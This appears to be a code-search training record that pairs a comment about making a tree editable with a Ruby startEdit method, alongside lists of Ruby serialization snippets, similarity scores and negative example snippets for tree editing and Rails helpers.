"def inspect()\n serialize.to_s()\n end",
"def inspect()\n serialize.to_s()\n end",
"def get_parsable\n @block ||= Block.new\n end",
"def marshal_dump\n data\n end",
"def to_s()\r\n\t\ts = \"\"\r\n\t\tif @cuerpo != nil\r\n\t\t\ts << @cuerpo.to_s(0) + \"\\n\"\r\n\r\n\t\telse\r\n\t\t\ts = \"Block\"\r\n\t\tend\r\n\t\treturn s\r\n\tend",
"def to_s()\r\n\t\ts = \"\"\r\n\t\tif @cuerpo != nil\r\n\t\t\ts << @cuerpo.to_s(0) + \"\\n\"\r\n\r\n\t\telse\r\n\t\t\ts = \"Block\"\r\n\t\tend\r\n\t\treturn s\r\n\tend",
"def to_bytes(options = {}, &block)\n options = self.serialize_options_global.merge(options)\n if block_given?\n yield self, options\n end\n Serializer.new(self, options).dump\n end",
"def to_s\n pad_field :data, :options\n recalc_block_len\n super\n end",
"def serialize\n @serializer.serialize(self.output)\n end",
"def inspect #:nodoc:\n s = \"#<#{self.class}:0x#{(self.object_id*2).to_s(16)} \"\n @metadata_blocks.each do |blk|\n s += \"(#{blk[0].upcase} size=#{blk[4]} offset=#{blk[3]}) \"\n end\n s += \"\\b>\"\n end",
"def dump_blocks(stream, x_start, y_start, z_start, x_end, y_end, z_end)\n\n end",
"def serialize_old_format\n buf = [version].pack('V')\n buf << Bitcoin.pack_var_int(inputs.length) << inputs.map(&:to_payload).join\n buf << Bitcoin.pack_var_int(outputs.length) << outputs.map(&:to_payload).join\n buf << [lock_time].pack('V')\n buf\n end",
"def serialize_witness_format\n buf = [version, MARKER, FLAG].pack('Vcc')\n buf << Bitcoin.pack_var_int(inputs.length) << inputs.map(&:to_payload).join\n buf << Bitcoin.pack_var_int(outputs.length) << outputs.map(&:to_payload).join\n buf << witness_payload << [lock_time].pack('V')\n buf\n end",
"def bytes\n @slots.map { |s| s.nil? && [0, 0] || [s.hash, s.offset] }\n .flatten\n .pack('V*')\n end",
"def serialize_inst_loop bytes, instr\n\t\t\tserialize_blocktype bytes, instr.blocktype\n\t\t\tinstr.instructions.each do |i|\n\t\t\t\tserialize_instruction bytes, i\n\t\t\tend\n\t\t\tbytes.push OP_BLOCK_END\n\t\tend",
"def serialize!\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n serialize.to_s\n end",
"def to_dump\n @time = Time.now\n Base64.encode64(Marshal.dump(self))\n end",
"def _dump() end",
"def to_s\n return \"[##{self.object_id}: @#{@offset} (last access: #{@last_access_time})#{@last_block ? ' (last block)' : ''}]\"\n end",
"def get_blocks\n @blocks\n end",
"def serialize(object, data); end",
"def block_type\n @grpc.block_type.to_sym\n end",
"def to_s\n require 'stringio'\n\n sb = StringIO.new\n each { |block3|\n sb << block3.map { |block4|\n format(\"%0#{1 << BLOCK4}b\", (block4 || 0)).reverse }.join\n }\n\n # At max there will be just 1 block of extra bits\n # So we are cutting at exactly @size\n sb.string[0...@size]\n end",
"def serialize(_object, data); end",
"def serialize(_object, data); end",
"def serialize \n Base64.encode64(@data.to_yaml) \n end",
"def serialized\n @value\n end",
"def _raw\n @_raw\n end",
"def to_s\n\t\toutput = \"\"\n\t\t(0...@max_block).each do |i|\n\t\t\tif @decoded[i].nil?\n\t\t\t\toutput << \" \"\n\t\t\telse\n\t\t\t\toutput << \"O\"\n\t\t\tend\n\t\tend\n\t\toutput << \"\\n\\nTotal decoded:#{@num_valid}, Encoded heap size:#{@encoded.length}, Total needed:#{@max_block}, percentage:#{@num_valid/@max_block.to_f * 100}\"\n\t\treturn output\n\tend",
"def id\n @block\n end",
"def id\n @block\n end",
"def _dump()\n #This is a stub, used for indexing\n end",
"def serialized\n serializer_class.new(self).serializable_hash\n end",
"def raw\n repr.raw\n end",
"def dump( obj, &block )\n f = File.open( get_unique_filename, 'w' )\n\n serialized = serialize( obj )\n f.write( serialized )\n\n block.call( serialized ) if block_given?\n\n f.path\n ensure\n f.close\n end",
"def dump() end",
"def add_single_block(block)\n\n\t\tif @decoded[block.blocks[0]].nil? \n\t\t \t@decoded[block.blocks[0]] = block.data \n\t\t\t@num_valid += 1\n\t\tend\n\tend",
"def serialize\n\t\tserialized = Serialized.new\n\t\t\n\t\t# to serialize an image you need the path to the file..\n\t\t# so I can't completely separate the Image loading from the Entity in space\n\t\t\n\t\treturn serialized\n\tend",
"def serialize\n {\n tile: tile,\n sprite: sprite,\n hp: hp\n }\n end",
"def dump(object)\n internal = ::Riak::Serializers.serialize(content_type, object)\n encrypt(internal)\n end",
"def bytes\n self\n end",
"def serialize\n raise NotImplementedError\n end",
"def serialize\n raise NotImplementedError\n end",
"def serialize\n YAML::dump(self)\n end",
"def to_source\n (['.block'] + collect{|e| e.to_source} + ['.bend']).flatten\n end",
"def serialize(io)\n Encoder.encode(io, self)\n io\n end",
"def to_s\n data = [@name.concat(Array.new(32 - @name.size, 0)),\n @name_size,\n @type,\n @color,\n @left,\n @right,\n @child,\n @created,\n @modified,\n @sector,\n @size].flatten\n data.pack(PACKING)\n end",
"def output\n b = block.output\n self<< b\n b\n end",
"def add_multi_block(block)\n\t\t\t@encoded << block\n\tend",
"def to_bencode\n BEncode.dump(self)\n end",
"def serialize\n\n\t\t{\n\t\t\twidth: @width, height: @height, mines: @mines, \n\t\t\tcell_size: @cell_size,\n\t\t}\n\n\tend",
"def serialize(biome)\n name = biome.fetch('DisplayName', biome.name)\n color = biome.color('Color', '#000000')\n bg_color = biome.color('BackgroundColor', '#000000')\n symbol = biome.symbol('Symbol', 0)\n\n height = biome.fetch('Height', '0 0').split(' ').map{|x| x.strip.to_i}\n temperature = biome.fetch('Temperature', '0 1000').split(' ').map{|x| x.strip.to_i}\n rain = biome.fetch('Rain', '0 1000').split(' ').map{|x| x.strip.to_i}\n drainage = biome.fetch('Drainage', '0 1000').split(' ').map{|x| x.strip.to_i}\n\n layer_top = biome.ref(:material, 'LayerTop', 'Air')\n layer_middle = biome.ref(:material, 'LayerMiddle', 'Air')\n layer_bottom = biome.ref(:material, 'LayerBottom', 'Air')\n\n noise_amplitude = biome.integer('NoiseAmplitude', 20)\n noise_power = biome.fetch('NoisePower', '1.0').to_f\n\n tree_density = biome.fetch('TreeDensity', '0').to_i\n tree_tile, tree_mat = tile_pair(biome.fetch('TreeType', 'Nothing:Air'))\n\n flags = 0\n flags |= (biome.boolean('NoEmbark') ? 0x01 : 0)\n\n emit(biome.id, 'S<')\n emit([name.size, name], 'S<a*')\n emit(color, 'C3')\n emit(bg_color, 'C3')\n emit(symbol, 'S<')\n\n emit(height, 'S<2')\n emit(temperature, 'S<2')\n emit(rain, 'S<2')\n emit(drainage, 'S<2')\n\n emit(layer_top, 'C')\n emit(layer_middle, 'C')\n emit(layer_bottom, 'C')\n\n emit(noise_amplitude, 'C')\n emit(noise_power, 'F')\n\n emit(tree_density, 'S<')\n emit(tree_tile, 'C')\n emit(tree_mat, 'C')\n\n emit(flags, 'S<')\n end",
"def serialize()\n { x: @x, y: @y, w: @w, h: @h, path: @path, x_offset: @x_offset,\n y_offset: @y_offset, w_offset: @w_offset, h_offset: @h_offset,\n source_x: @source_x, source_y: @source_y, source_w: @source_w,\n source_h: @source_h, col: @col, row: @row }\n end",
"def show\n render json: @block\n end",
"def raw\n @buffer\n end",
"def blob; end",
"def blob; end",
"def to_bin\n [\n \"data\",\n [body.size].pack(\"V\"),\n body\n ].join\n end",
"def dump\n @@fields.each { |field| @contents[field] = send(field) } \n @contents\n end",
"def inspect\n\t\treturn \"#<%p:%#0x [%d] %s/%d %0.2fKB payload at %s>\" % [\n\t\t\tself.class,\n\t\t\tself.object_id * 2,\n\t\t\tself.index,\n\t\t\tself.previous_hash,\n\t\t\tself.proof,\n\t\t\tself.payload.bytesize / 1024,\n\t\t\tself.timestamp,\n\t\t]\n\tend",
"def to_s\r\n dump\r\n end",
"def serialize(object)\n object.serializable_hash\n end",
"def to_s()\n serialize.to_s()\n end",
"def to_s()\n serialize.to_s()\n end",
"def to_json_raw_object()\n #This is a stub, used for indexing\n end",
"def encode\n @content.serialize_to_string\n end",
"def fbe_body\n 4 + 4 \\\n + id.fbe_size \\\n + name.fbe_size \\\n + state.fbe_size \\\n + wallet.fbe_size \\\n + asset.fbe_size \\\n + orders.fbe_size \\\n end",
"def to_builder\n Jbuilder.new do |json|\n json.index block_index\n json.timestamp timestamp.to_i\n json.proof proof\n\n json.transactions(transactions) do |transaction|\n json.merge! transaction.to_builder.attributes!\n end\n json.previousBlockHash previous_block_hash\n end\n end"
] |
[
"0.6898893",
"0.67395276",
"0.6524439",
"0.64502716",
"0.64502716",
"0.6413992",
"0.63004255",
"0.62966585",
"0.6251218",
"0.6251218",
"0.6153699",
"0.61495566",
"0.61055",
"0.6081842",
"0.5997257",
"0.59743136",
"0.59533584",
"0.5950048",
"0.5943738",
"0.5933947",
"0.590153",
"0.58988684",
"0.58489484",
"0.5838807",
"0.5838438",
"0.5835625",
"0.5830631",
"0.582083",
"0.58186126",
"0.57955563",
"0.579512",
"0.579512",
"0.5788442",
"0.5760984",
"0.5734955",
"0.5734955",
"0.57310456",
"0.5692746",
"0.5692708",
"0.5692206",
"0.5687543",
"0.5680014",
"0.56774276",
"0.56699944",
"0.56394774",
"0.56339955",
"0.56208813",
"0.56208813",
"0.56208813",
"0.56152385",
"0.56073976",
"0.5578093",
"0.5577161",
"0.5573877",
"0.5568116",
"0.5563806",
"0.5563423",
"0.5563423",
"0.5559306",
"0.55281675",
"0.5504082",
"0.5501965",
"0.5498791",
"0.5498791",
"0.54824895",
"0.5469414",
"0.54623514",
"0.5461273",
"0.5461087",
"0.5449562",
"0.54486996",
"0.54473466",
"0.5446927",
"0.5445398",
"0.54441774",
"0.54441774",
"0.54437464",
"0.54382205",
"0.5437038",
"0.5428859",
"0.54196286",
"0.5407118",
"0.54066724",
"0.5396241",
"0.5394708",
"0.53945285",
"0.53920203",
"0.53715503",
"0.53714955",
"0.53714955",
"0.536954",
"0.53679013",
"0.5367178",
"0.5366326",
"0.5357265",
"0.53534096",
"0.53534096",
"0.53521234",
"0.53437066",
"0.5342287",
"0.5336477"
] |
0.0
|
-1
|
These methods are part of the code to make the tree editable
|
def startEdit
super
create_text_field unless @text_field
set_text nil
set_graphic @text_field
@text_field.select_all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show_tree\n\tend",
"def update_tree(element); end",
"def render\n return ro_standard if @readonly \n set_initial_value('html','value')\n require 'sort_alphabetical' \n \n record = record_text_for(@yaml['name'])\n p '******', \"<div id=\\\"#{@yaml['name']}\\\" class=\\\"tree-select\\\" #{set_style()} >\"\n @html << \"<div id=\\\"#{@yaml['name']}\\\" class=\\\"tree-select\\\" #{set_style()} >\"\n# Fill @choices hash. The key is parent object id\n @choices = {}\n do_eval(@yaml['eval']).each {|data| @choices[ data[2].to_s ] ||= []; @choices[ data[2].to_s ] << (data << false)}\n# put current values hash with. To speed up selection when there is a lot of categories\n current_values = {}\n current = @record[@yaml['name']] || []\n current.each {|e| current_values[e.to_s] = true}\n# set third element of @choices when selected\n @choices.keys.each do |key|\n 0.upto( @choices[key].size - 1 ) do |i|\n choice = @choices[key][i]\n choice[3] = true if current_values[ choice[1].to_s ]\n end\n end\n make_tree(nil)\n @html << '</ul></div>'\n# add hidden communication field \n @html << @parent.hidden_field(record, @yaml['name'], value: current.join(','))\n# javascript to update hidden record field when tree looses focus\n @js =<<EOJS\n$(function(){\n $(\"##{@yaml['name']}\").jstree( {\n \"checkbox\" : {\"three_state\" : false}, \n \"core\" : { \"themes\" : { \"icons\": false } },\n \"plugins\" : [\"checkbox\"]\n });\n});\n \n$(document).ready(function() {\n $('##{@yaml['name']}').on('focusout', function(e) {\n var checked_ids = [];\n var checked = $('##{@yaml['name']}').jstree(\"get_checked\", true);\n $.each(checked, function() {\n checked_ids.push( this.data.id );\n });\n $('#record_#{@yaml['name']}').val( checked_ids.join(\",\") );\n });\n});\nEOJS\n self\nend",
"def cmd_tree\n print_tree(Editor, 0)\n end",
"def has_editable kind\n case kind\n when :children\n false\n else\n true\n end\n end",
"def can_edit\n redirect_to @tree unless @tree.can_edit? current_user\n end",
"def update_nodes\n incr = 0\n self.original_nodes.build(:displayed => true) if not new_record? and self.original_nodes.count == 0 # Insure at least 1 node\n self.original_nodes.each do |node|\n node.title = self.name\n node.menu_name = self.name\n incr = (node.new_record? ? node.set_safe_shortcut(self.name.parameterize.html_safe, 0, incr) : node.set_safe_shortcut(self.name.parameterize.html_safe, node.id, incr))\n node.displayed = self.display\n incr += 1\n end\n end",
"def update_tree(classtree, object = nil)\n self.change_tree do\n self.clear\n self.fill_model(classtree)\n #TODO: Navigate to object object\n end\n end",
"def tree_actions(row)\r\n html = [link_to(image_tag('std/edit.png'), :controller => :dev_feedbacks, :action => :edit, :id => row.id)]\r\n html << link_to(image_tag('std/del.png'),\r\n {:controller => :dev_feedbacks, :action => :destroy, :id => row.id},\r\n :remote => true,\r\n :confirm => _(\"Are you sure that you want to delete %{name}?\") % {:name => row.disp_name})\r\n c = DevFeedback.get_root.children\r\n html << link_to(image_tag('std/go_up.png'),\r\n {:controller => :dev_feedbacks, :action => :tree_move, :id => row.id, :direction => :prev},\r\n :update => \"dev_feedback_#{row.parent_id || 0}_div\", :remote => true) if row.self_and_siblings.first != row || (row.parent.nil? && c.first != row)\r\n html << link_to(image_tag('std/go_down.png'),\r\n {:controller => :dev_feedbacks, :action => :tree_move, :id => row.id, :direction => :next},\r\n :update => \"dev_feedback_#{row.parent_id || 0}_div\", :remote => true) if row.self_and_siblings.last != row || (row.parent.nil? && c.last != row)\r\n html << link_to(image_tag('std/go_left.png'),\r\n {:controller => :dev_feedbacks, :action => :tree_move, :id => row.id, :direction => :dec},\r\n :update => \"dev_feedback_#{row.parent.parent_id || 0}_div\", :remote => true) unless row.parent.nil?\r\n html << link_to(image_tag('std/go_right.png'),\r\n {:controller => :dev_feedbacks, :action => :tree_move, :id => row.id, :direction => :inc},\r\n :update => \"dev_feedback_#{row.left_sibling.id}_div\",\r\n :loaded => %Q[$(\"dev_feedback_#{row.id}_div\").remove()],\r\n :position => :bottom, :remote => true) if row.left_sibling\r\n return content_tag(:span, html.join.html_safe, :class => 'tree_actions', :id => \"#{row.id}_actions\")\r\n end",
"def update_tree(object, parent = nil)\n self.change_tree do\n self.clear unless parent\n self.fill_model(object, parent)\n end\n end",
"def tree_select\n @explorer = true\n\n @lastaction = \"explorer\"\n self.x_node = params[:id]\n @nodetype, id = parse_nodetype_and_id(params[:id])\n\n if x_tree[:type] == :containers_filter && TreeBuilder.get_model_for_prefix(@nodetype) != \"Container\"\n search_id = @nodetype == \"root\" ? 0 : from_cid(id)\n adv_search_build(vm_model_from_active_tree(x_active_tree))\n session[:edit] = @edit # Set because next method will restore @edit from session\n listnav_search_selected(search_id) unless params.key?(:search_text) # Clear or set the adv search filter\n if @edit[:adv_search_applied] &&\n MiqExpression.quick_search?(@edit[:adv_search_applied][:exp]) &&\n %w(reload tree_select).include?(params[:action])\n self.x_node = params[:id]\n quick_search_show\n return\n end\n end\n\n replace_right_cell\n end",
"def editable!\n editable(true)\n end",
"def update\n \trespond_to do |format|\n \t\tif @tree.update(tree_params)\n \t\t\tformat.html { redirect_to @tree, notice: 'Nome da arvore atualizado com sucesso.' }\n \t\t\tformat.json { render :show, status: :ok, location: @tree }\n \t\telse\n \t\t\tformat.html { render :edit }\n \t\t\tformat.json { render json: @tree.errors, status: :unprocessable_entity }\n \t\tend\n \tend\n end",
"def edit_button_clicked\n\n\t\t\t# Set flag for edit mode, store \n\t\t\t@edited_item = @form.folderList.currentItem\n\t\t\n\t\t\t# Show and activate the child window\n\t\t\tshow_browse_form(@edited_item.text)\n\t\tend",
"def edit_modifier\n\n\tend",
"def update_nodes\n incr = 0\n self.nodes.build(:displayed => true) if not new_record? and self.nodes.count == 0 # Insure at least 1 node\n self.nodes.each do |node|\n node.title = name\n node.menu_name = name\n node.set_safe_shortcut(\"#{incr.to_s}-#{name}\")\n node.displayed = display\n incr += 1\n end\n end",
"def editable?\n true\n end",
"def editable?\n true\n end",
"def editable?\n true\n end",
"def tree(data_path, options = {})\n\t\t\t\tresult = \"\"\n\n\t\t\t\t# Unique hash\n\t\t\t\t@hash = Digest::SHA1.hexdigest(data_path.to_s)\n\n\t\t\t\t# Options\n\t\t\t\t@options = options.nil? ? {} : options\n\n\t\t\t\t# Clipboard\n\t\t\t\tif @options[:clipboard_attrs]\n\t\t\t\t\tclipboard = true\n\t\t\t\t\t@options[:clipboard_attrs] = [@options[:clipboard_attrs]] if !@options[:clipboard_attrs].is_a?(Array)\n\t\t\t\t\tclipboard_attrs_js = \"[\" + @options[:clipboard_attrs].map { |item| \"'#{item}'\" }.join(\",\") + \"]\"\n\t\t\t\telse\n\t\t\t\t\tclipboard = false\n\t\t\t\t\tclipboard_attrs_js = \"[]\"\n\t\t\t\tend\n\n\t\t\t\t# Actions\n\t\t\t\tif @options[:actions]\n\t\t\t\t\tactions_js = \"[\"\n\t\t\t\t\toptions[:actions].each do |key, action|\n\t\t\t\t\t\tactions_js += %{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\turl: '#{action[:path] ? @path_resolver.resolve(action[:path], \":id\") : \"\"}',\n\t\t\t\t\t\t\t\ticon: '#{action[:icon]}',\n\t\t\t\t\t\t\t\tlabel: '#{action[:label]}',\n\t\t\t\t\t\t\t\tcollapsed: #{action[:collapsed] == true ? \"true\" : \"false\"},\n\t\t\t\t\t\t\t\tstyle: '#{action[:style] ? action[:style] : \"default\"}',\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\t\tactions_js += \"]\"\n\t\t\t\telse\n\t\t\t\t\tactions_js = \"[]\"\n\t\t\t\tend\n\n\t\t\t\t# Parent\n\t\t\t\tparent = (options[:parent] ? options[:parent] : nil)\n\n\t\t\t\t# Save state\n\t\t\t\tsave_state = (options[:save_state] ? options[:save_state] : :simple)\n\n\t\t\t\t# Application JS\n\t\t\t\tresult += @template.javascript_tag(%{\n\t\t\t\t\tvar rug_tree_#{@hash} = null;\n\t\t\t\t\t$(document).ready(function() {\n\t\t\t\t\t\trug_tree_#{@hash} = new RugTree('#{@hash}', {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Model\n\t\t\t\t\t\t\tmodel: 'node',\n\n\t\t\t\t\t\t\t// State\n\t\t\t\t\t\t\tsaveState: '#{save_state.to_s}',\n\n\t\t\t\t\t\t\t// Parent element\n\t\t\t\t\t\t\tparent: '#{parent.to_s}',\n\n\t\t\t\t\t\t\t// Icons\n\t\t\t\t\t\t\tclosedIcon: '#{@icon_builder.render(@options[:closed_icon] ? @options[:closed_icon] : \"chevron-right\")}',\n\t\t\t\t\t\t\topenedIcon: '#{@icon_builder.render(@options[:opened_icon] ? @options[:opened_icon] : \"chevron-down\")}',\n\n\t\t\t\t\t\t\t// Show\n\t\t\t\t\t\t\tshow: #{check_show(@options) ? 'true' : 'false'},\n\t\t\t\t\t\t\tshowEvent: '#{@options[:show_event] && @options[:show_event].to_sym == :double_click ? \"dblclick\" : \"click\"}',\n\t\t\t\t\t\t\tshowUrl: '#{@path_resolver.resolve(@options[:paths][:show], \":id\")}',\n\n\t\t\t\t\t\t\t// Create\n\t\t\t\t\t\t\tcreate: #{check_create(@options) ? 'true' : 'false'}, \n\t\t\t\t\t\t\tcreateUrl: '#{@path_resolver.resolve(@options[:paths][:create])}',\n\t\t\t\t\t\t\tcreateIcon: '#{@icon_builder.render(@options[:update_icon] ? @options[:update_icon] : \"plus\")}',\n\t\t\t\t\t\t\tcreateLabel: '#{I18n.t(\"general.action.create_child\").upcase_first}',\n\t\t\t\t\t\t\tcreateActionCollapsed: #{@options[:create_action_collapsed] == true ? 'true' : 'false'}, \n\t\t\t\t\t\t\tcreateSuccessMessage: '#{I18n.t(\"general.messages.create.success\")}',\n\n\t\t\t\t\t\t\t// Update\n\t\t\t\t\t\t\tupdate: #{check_update(@options) ? 'true' : 'false'}, \n\t\t\t\t\t\t\tupdateUrl: '#{@path_resolver.resolve(@options[:paths][:update], \":id\")}', \n\t\t\t\t\t\t\tupdateIcon: '#{@icon_builder.render(@options[:update_icon] ? @options[:update_icon] : \"pencil\")}',\n\t\t\t\t\t\t\tupdateLabel: '#{I18n.t(\"general.action.update\").upcase_first}',\n\t\t\t\t\t\t\tupdateActionCollapsed: #{@options[:update_action_collapsed] == true ? 'true' : 'false'}, \n\t\t\t\t\t\t\tupdateSuccessMessage: '#{I18n.t(\"general.messages.create.success\")}',\n\n\t\t\t\t\t\t\t// Destroy\n\t\t\t\t\t\t\tdestroy: #{check_destroy(@options) ? 'true' : 'false'}, \n\t\t\t\t\t\t\tdestroyUrl: '#{@path_resolver.resolve(@options[:paths][:destroy], \":id\")}', \n\t\t\t\t\t\t\tdestroyIcon: '#{@icon_builder.render(@options[:update_icon] ? @options[:update_icon] : \"trash\")}',\n\t\t\t\t\t\t\tdestroyLabel: '#{I18n.t(\"general.action.destroy\").upcase_first}',\n\t\t\t\t\t\t\tdestroyActionCollapsed: #{@options[:destroy_action_collapsed] == true ? 'true' : 'false'}, \n\t\t\t\t\t\t\tdestroyConfirmMessage: '#{I18n.t(\"general.are_you_sure\")}',\n\t\t\t\t\t\t\tdestroySuccessMessage: '#{I18n.t(\"general.messages.destroy.success\")}',\n\n\t\t\t\t\t\t\t// Moving\n\t\t\t\t\t\t\tmoving: #{check_moving(@options) ? 'true' : 'false'},\n\t\t\t\t\t\t\tmovingUrl: '#{@path_resolver.resolve(@options[:paths][:move], \":id\", \":relation\", \":destination_id\")}',\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Type\n\t\t\t\t\t\t\ttypeIconTemplate: '#{@icon_builder.render(\":icon\", class: \"jqtree-icon\")}',\n\t\t\t\t\t\t\ttypeIconAttr: '#{@options[:type_icon_attr]}',\n\n\t\t\t\t\t\t\t// Actions\n\t\t\t\t\t\t\tactions: #{actions_js},\n\t\t\t\t\t\t\tactionsIconTemplate: '#{@icon_builder.render(\":icon\")}',\n\n\t\t\t\t\t\t\t// Clipboard\n\t\t\t\t\t\t\tclipboard: #{clipboard ? 'true' : 'false'},\n\t\t\t\t\t\t\tclipboardIcon: '#{@icon_builder.render(@options[:clipboard_icon] ? @options[:clipboard_icon] : \"clipboard\")}',\n\t\t\t\t\t\t\tclipboardTemplate: \"#{clipboard ? (@options[:clipboard_template] ? @options[:clipboard_template].gsub('\"', \"'\") : \":\" + @options[:clipboard_attrs].first) : \"\"}\",\n\t\t\t\t\t\t\tclipboardAttrs: #{clipboard_attrs_js},\n\t\t\t\t\t\t\tclipboardActionCollapsed: #{@options[:clipboard_action_collapsed] == true ? 'true' : 'false'}, \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Select\n\t\t\t\t\t\t\tselectByDefault: #{@options[:select_by_default] ? @options[:select_by_default].to_i : \"null\"},\n\n\t\t\t\t\t\t\t// Reload\n\t\t\t\t\t\t\treloadIcon: '#{@icon_builder.render(@options[:update_icon] ? @options[:update_icon] : \"refresh\")}',\n\t\t\t\t\t\t\treloadLabel: '#{I18n.t(\"general.action.reload\").upcase_first}',\n\t\t\t\t\t\t});\n\t\t\t\t\t\trug_tree_#{@hash}.ready();\n\t\t\t\t\t});\n\t\t\t\t\t$(document).on('turbolinks:load', function() {\n\t\t\t\t\t\trug_tree_#{@hash}.repair();\n\t\t\t\t\t});\n\t\t\t\t})\n\n\t\t\t\tresult += %{\n\t\t\t\t\t<div id=\"tree-#{@hash}\" data-url=\"#{data_path.to_s}\"></div>\n\t\t\t\t}\n\n\t\t\t\treturn result.html_safe\n\t\t\tend",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def editable! \n elements.each { |e|\n e.editable! \n }\n end",
"def update_content_paths\n\n # Checking if the parent id has changed for the current content have to change the content paths table only if parent id is changed\n new_parent_id = ContentData.get_parent_id(self.id)\n\n # Getting the old parent data from the content path table\n old_parent_id = 0\n old_parent = ContentPath.where(:descendant => self.id, :depth => 1)\n # If there are any parents found with the getting the old parent id\n if old_parent.length > 0\n old_parent_id = old_parent.first.ancestor\n end\n\n # If the parent id is changed then update the content path structure\n if new_parent_id != old_parent_id\n\n # Refer to the article \"http://www.mysqlperformanceblog.com/2011/02/14/moving-subtrees-in-closure-table/\" for the logic\n # Detach the node from the old parent \n delete_query = \"DELETE a FROM content_paths AS a JOIN content_paths AS d ON a.descendant = d.descendant LEFT JOIN content_paths AS x ON x.ancestor = d.ancestor AND x.descendant = a.ancestor WHERE d.ancestor = '\"+self.id.to_s+\"' AND x.ancestor IS NULL\"\n ActiveRecord::Base.connection.execute(delete_query)\n\n # Attach the node to the new parent\n insert_query = \"INSERT INTO content_paths (ancestor, descendant, depth) SELECT supertree.ancestor, subtree.descendant, supertree.depth+subtree.depth+1 FROM content_paths AS supertree JOIN content_paths AS subtree WHERE subtree.ancestor = '\"+self.id.to_s+\"' AND supertree.descendant = '\"+new_parent_id.to_s+\"'\"\n ActiveRecord::Base.connection.execute(insert_query)\n\n ## The code for changing the childrens data of the edited node with the new parent data\n ## Getting the data of the new parent\n new_parent_data = Content.find(new_parent_id)\n\n ## Board is at the top level no need to change the children data\n if self.type == 'Board'\n\n ## Content year parent is changed update all the children with the current board id\n elsif self.type == 'ContentYear'\n if self.children.map(&:descendant).length > 1\n Content.where(:id => self.children.map(&:descendant)).update_all(:board_id => self.board_id)\n end\n\n ## Subject parent is changed update all the children with the curent board id and content year id\n elsif self.type == 'Subject'\n if self.children.map(&:descendant).length > 1\n Content.where(:id => self.children.map(&:descendant)).update_all(:board_id => self.board_id, :content_year_id => self.content_year_id)\n end\n\n ## Chapter parent is changed update all the children with the current board id , content year id and subject id\n elsif self.type == 'Chapter'\n if self.children.map(&:descendant).length > 1\n Content.where(:id => self.children.map(&:descendant)).update_all(:board_id => self.board_id, :content_year_id => self.content_year_id, :subject_id => self.subject_id)\n end\n\n ## Topic parent is changed update all the children with the current board id, content year id, subject id and chapter id\n elsif self.type == 'Topic'\n if self.children.map(&:descendant).length > 1\n Content.where(:id => self.children.map(&:descendant)).update_all(:board_id => self.board_id, :content_year_id => self.content_year_id, :subject_id => self.subject_id, :chapter_id => self.chapter_id)\n end\n\n ## Subtopic parent is changed update all the children with the current board id, content year id, subject id, chapter id and topic id\n elsif self.type == 'SubTopic'\n if self.children.map(&:descendant).length > 1\n Content.where(:id => self.children.map(&:descendant)).update_all(:board_id => self.board_id, :content_year_id => self.content_year_id, :subject_id => self.subject_id, :chapter_id => self.chapter_id, :topic_id => self.topic_id)\n end\n end\n\n ## End of code for changing the childrens data\n\n end\n end",
"def mirror_tree\n mirror_tree_support(self.root)\n display_support(self.root)\n end",
"def tree\n\n h.updated_tree || h.original_tree\n end",
"def TreeView_Expand(hwnd, hitem, code) send_treeview_message(hwnd, TVM_EXPAND, wparam: code, lparam: hitem) end",
"def tree\n h.updated_tree || h.original_tree\n end",
"def change_tree(*args)\n begin\n self.model.freeze_notify\n yield(self, *args)\n ensure\n self.model.thaw_notify\n end\n self\n end",
"def edit\n raise NotImplementedError\n end",
"def TreeView_EditLabel(hwnd, hitem) send_treeview_message(hwnd, :EDITLABEL, lparam: hitem) end",
"def set_tree\n\t\t@tree = Tree.find(params[:id])\n\tend",
"def vieditable_init_tabular\n $log.debug \" inside vieditable_init tabular\"\n @editable = true\n #bind_key( ?C, :edit_line)\n #bind_key( ?o, :insert_line)\n #bind_key( ?O) { insert_line(@current_index-1) } \n #bind_key( ?o) { insert_line(@current_index+1) } \n #bind_key( ?O) { insert_line(@current_index) } \n bind_key( [?d, ?d] , :delete_line ) \n #bind_key( ?\\C-_ ) { @undo_handler.undo if @undo_handler }\n #bind_key( ?u ) { @undo_handler.undo if @undo_handler }\n #bind_key( ?\\C-r ) { @undo_handler.redo if @undo_handler }\n bind_key( [?y, ?y] , :kill_ring_save ) \n bind_key( ?p, :yank ) # paste after this line\n bind_key( ?P ) { yank(@current_index - 1) } # should be before this line\n bind_key(?\\M-y, :yank_pop)\n bind_key(?\\M-w, :kill_ring_save)\n @_events.push :CHANGE # thru vieditable\n end",
"def ensure_editable; return false unless editable? end",
"def update_in_tree\n\t\tfname = \"#{self.class.name}.#{__method__}\"\n\t\t#LOG.info(fname) { \"params: #{params}\" }\n\t\t@link = Link.find(params[:id])\n\t\t##########@link.update_accessor(current_user)\n\t\t@object_in_explorer = PlmServices.get_object(params[:object_model], params[:object_id])\n\t\t@root = PlmServices.get_object(params[:root_model], params[:root_id])\n\t\terr = false\n\t\trespond_to do |format|\n\t\t\t#values = OpenWFE::Json::from_json(params[:link][:values])\n\t\t\t#LOG.info(fname) { \"values: #{values}\" }\n\t\t\t#########update_att=@link.update_attributes(params[:link])\n\t\t\tupdate_att = @link.update_link(current_user,params[:link])\n\t\t\t#LOG.info(fname) { \"update_att: #{update_att} @link.errors=#{@link.errors.inspect}\" }\n\t\t\t@link.errors.clear if update_att\n\t\t\tupdate_eff = update_effectivities(@link, params[:effectivities])\n\t\t\t#LOG.info(fname) { \"update_eff: #{update_eff} @link.errors=#{@link.errors.inspect}\" }\n\t\t\tif update_att && update_eff\n\t\t\t\tLOG.info(fname) { \"ok:effectivities: #{params[:effectivities]}\" }\n\t\t\t\tflash[:notice] = t(:ctrl_object_updated, :typeobj => t(:ctrl_link), :ident => 